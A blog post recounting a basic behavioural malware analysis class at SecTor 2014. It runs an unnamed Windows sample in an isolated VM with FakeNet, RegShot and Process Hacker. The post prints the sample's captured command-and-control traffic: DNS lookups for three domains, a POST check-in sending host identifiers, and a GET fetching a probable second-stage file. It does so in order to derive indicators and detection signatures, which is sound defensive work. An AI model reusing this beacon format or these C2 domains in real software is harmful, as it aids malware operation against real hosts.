Last month, I attended SecTor 2014 in Toronto, a beautiful city in Ontario, Canada. Actually, that was the first time I had ever attended the conference and visited the country. I had a great time, and I met a few people that really made the rest of my time out there worthwhile.

It has been a while since I last posted anything and thought I’d share some of the content that was presented during a basic malware analysis training session that I took at SecTor. You can find a better description of the session here.

The class was put together by The Herjavec Group, an IT security firm based out of Toronto. As the description says, it was a basic hands-on class that attempted to introduce malware analysis tools and techniques for analyzing suspicious binaries. Although I would say I’m pretty familiar with basic malware analysis, I still wanted to take this class in hopes that I would learn a thing or two, particularly with analyzing exploit kits, which unfortunately we didn’t get to due to time constraints. Nevertheless, it was an enjoyable course and I’d like to share some of the information in this post with you.

The first half of the course was an introduction to malware analysis, followed by a hands-on lab where we analyzed malware samples using basic behavioral analysis tools and techniques. Given the in-depth nature of the content, I’ll only focus on the behavioral analysis aspect of the course. In particular, I’ll walk through some of the tools that we used, and cover a basic analysis of a malicious binary by applying common analysis techniques.

Here’s a list of a few tools that I will be using for my analysis:

REMnux is a Linux distribution for reverse engineering. It contains a number of very useful tools, both for static and dynamic analysis. I wanted to mention that because you can find a lot of tools packaged with the distribution that can help you perform just about any analysis.

In order to observe the behavior of an unknown binary, we need to run it in a clean machine. For my analysis, I will be using VMWare Fusion to run the sample in an isolated and controlled environment with no Internet access. The machine that I will be infecting is running a copy of Windows XP Professional SP3. So lets start.

First, I run all of the tools before executing the unknown binary. This will prepare the host to capture interesting data from the network, registry, process, and file disk levels.

Note, you will have to right-click on the images and select Open Image in New Tab to view the larger version.

Next, I take a snapshot of the current Windows Registry by clicking on the 1st shot button in the RegShot window. I also check the Scan dir checkbox to capture file changes on disk. This will set a baseline and display any changes that occur on the Windows Registry after the malware is executed.

As you can probably tell, FakeNet does just as the name implies. It creates a fake network so the malware can think it is communicating with the outside world. FakeNet will also capture the network traffic so we can further analyze any connection and/or communication attempts with external hosts, such as command-and-control (CnC) servers. Once this is set, I run the malware and analyze the results.

This is obviously very basic, but you can see with just these three tools how much insight you can get into low-hanging fruit. I say this because more advanced malware can have evasion techniques that can detect the precense of virtualization and completely change its behavior. Behavioral analysis doesn’t paint the whole picture. Depending on your goals, static analysis may also be necessary. Anyway, lets take a look at the results.

Upon execution, the executable ran for a brief moment and almost immediately I noticed multiple HTTP POST and DNS requests to suspicious domains in our FakeNet tool. Shortly after, the executable deleted itself from my Desktop and the process dissapeared from the Process Hacker console. I continued to see the network traffic being generated, so I suspected that the binary probably injected itself into another process. We’ll hunt this down shortly, but first, lets take a look at the suspicious network traffic. For this, I cracked open Wireshark and loaded the PCAP file that was generated by FakeNet.

First, the DNS requests:

Standard query 0x57b9 A extensadv.cc
Standard query 0x4190 A topbeat.cc
Standard query 0x7011 A brainsphere.cc

Next, I noticed that our infected machine attempted to reach out to the domains via SSL on port 443. I followed the network stream to dig further into the details and here’s an example of the types of requests that were generated:

GET /ping.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)
Host: extensadv.cc
Cache-Control: no-cache
Connection: Keep-Alive

Similarly, the same HTTP GET request on the other two domains:

GET /ping.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)
Host: topbeat.cc
Cache-Control: no-cache
Connection: Keep-Alive

Next, an interesting HTTP POST request was captured:

POST /ping.html HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)
Host: extensadv.cc
Content-Length: 115
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

key=a263d9918f&id=4E38CB2CA964A2C8E9410CE17EEF99A5&inst=master&net=HJ-UK-7&cmd=ping&bt=1313722115&ver=1.0.1.0&jt=28

This one is actually quite interesting. You can see that our infected host is sending data to the remote host. Although we can’t tell what this information means just by looking at it, we have some really good indicators that can help identify other infected hosts, as well as generate detection signatures. Furthermore, it gives us something to chase during our static analysis stage, which we will not cover in this post.

The HTTP POST parameters in that request are:

  • key
  • id
  • inst
  • net
  • cmd
  • bt
  • ver
  • jt

If we dig through the code, we can get a much better idea of what those values are. Obviously, some of these do provide useful information. For example, cmd is a command. In this case, it looks like this is how the infected systems check-in to the C2 servers. This makes me wonder, what other commands does this malware support, if any?

After that initial request, additional network traffic can be observed:

POST /ping.html HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)
Host: topbeat.cc
Content-Length: 82
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

key=a263d9918f&id=4E38CB2CA964A2C8E9410CE17EEF99A5&inst=master&net=HJ-UK-7&cmd=cfg

Here, we continue to see the same parameters for the most part, with the exception of a few mentioned above, and a new cmd value.

Finally, the last request that is also of interest is the following:

GET /files/HJ-UK-7.jpg HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)
Host: topbeat.cc
Cache-Control: no-cache
Connection: Keep-Alive

This sample is attempting to download a file named HJ-UK-7.jpg from one of the C2 servers. Perhaps this is not an image but an update or a second stage piece of malware? Who knows, but it is definitely suspicious. Again, static analysis addresses these questions for us. This concludes the network traffic that was generated by this sample.

Next, lets chase down that likely injected process. As I mentioned, I suspected that it was injected into a different process because the file was deleted from the desktop and it was no longer running. The network traffic however, continued to get generated. So how did I chase this one down? Using Process Hacker, I looked in the Network tab and searched for a process that was communicating with a server on port 443. Remember, this is what we saw in our network traffic. Sure enough, the Explorer.exe process was the victim, which isn’t uncommon.

To further confirm this, I dumped the strings from the process’ memory using Process Hacker. I then searched for the topbeat.cc domain and found many references. I’m making the assumption that this process was injected, however, static analysis is ultimately the answer to this question.

That about wraps this post up. As you can see, with just a few tools, we were able to gather some really useful information that can now help us develop detection signatures, as well as act as indicators of compromise (IOC) to help identify other infected hosts on the network. With malware analysis, depending on your goals, you may also want to perform static analysis. This will help ensure that we get a much better picture and understanding of the details of this sample.